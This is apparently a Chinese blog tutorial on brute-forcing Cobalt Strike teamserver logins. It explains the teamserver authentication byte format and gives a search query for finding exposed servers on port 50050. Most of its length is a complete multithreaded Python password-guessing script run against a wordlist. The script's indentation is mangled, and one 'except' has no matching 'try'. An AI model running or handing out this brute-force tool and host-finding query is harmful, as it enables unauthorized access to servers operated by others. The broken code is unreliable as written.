0x00:简介#

Cobalt strike(下面简称 CS)#

众所周知,CS是一个以MSF为基础的GUI框架式“多人运动”渗透测试工具，集成了端口转发、服务扫描、自动化溢出，多模式端口监听，exe、powershell木马生成等.#

钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等。#

Cobalt Strike 主要用于团队作战，可谓是团队渗透神器，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。#

Cobalt Strike 作为一款协同APT工具，针对内网的渗透测试和作为apt的控制终端功能，使其变成众多APT组织的首选。#

0x01:成因#

1、很多团队为了方便基友能够很快连上 Teamserver，基本都是设置的弱口令，一般常见的是:123456、123123等#

2、很多也使用的默认的 Teamserver端口50050#

3、集合以上薄弱入口点，开始测试爆破连接。#

0x02:编写#

一、自己teamserver链接测试。在服务器搭建好服务端后，通过浏览器去访问测试。google浏览器测试结果如下。#

在火狐的浏览器测试结果如下#

F12看下什么情况#

二、我们去看一下Teamserver的认证方式。#

if [ -e ./cobaltstrike.store ]; then
    print_info "Will use existing X509 certificate and keystore (for SSL)"
    print_info "Generating X509 certificate and keystore (for SSL)"
    keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

第一种是表面上用于保护套接字的身份验证的原始数据类型。#

第二种是基于Java序列化对象的身份验证，其中包括大部分为符号的用户名。#

其中cobaltstrike.store是这样的#

在固定的261字节长度的命令中，第一个身份验证请求大致是这样定义的：#

4 Byte Magic \x00\x00\xBE\xEF
1 Byte Password Length (unsigned int)
Password (unsigned int cast char array)
Padding \x65 "A" * ( Length( Password ) - 256 )

在导线上看起来像这样，但是填充被忽略，可以是任何东西。 身份验证 例程最多读取256个“长度”。#

\x00\x00\xBE\xEF\x08passwordAAAAAAAAAAAAAA...AAAA

如果提供的密码与启动团队服务器时定义的密码匹配，则团队服务器将以4字节的密码进行回复。#

<此密码不能为空>

\x00\x00\xCA\xFE

否则，团队 服务器 返回null#

\x00\x00\x00\x00

三、python3编写思路#

conn.open(host, port)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)

最后判断返回结果是否存在“\x00\x00\xca\xfe”，如果存在则密码正确#

四、找找公鸡队的Teamserver#

"Cobalt strike" && port="50050"

五、开整

#!/usr/bin/env python3
import time,socket,ssl,argparse,concurrent.futures,sys
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
    sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
                    help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
                    help="Newline-delimited word list file")
args = parser.parse_args()
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
            ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        received_size = 0
        data_buffer = b""
while received_size < 4:
            data_in = self.ssl_sock.recv()
            data_buffer = data_buffer + data_in
            received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
        result = None
        conn = Connector()
        conn.open(args.host, 50050)
        payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
        conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"\x00\x00\xca\xfe"): return password
else: return False
else: print("Do not have a blank password!!!")
passwords = []
if args.wordlist: passwords = open(args.wordlist).read().split("\n")
else:
for line in sys.stdin: passwords.append(line.rstrip())
if len(passwords) > 0:
    attempts = 0
    failures = 0
    with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
        future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
            password = future_to_check[future]
                data = future.result()
                attempts = attempts + 1
if data:
                    print ("Successful Attack!!!")
                    print ("Secquan NB!!")
                    print("Target Password: {}".format(password))
            except Exception as exc:
                failures = failures + 1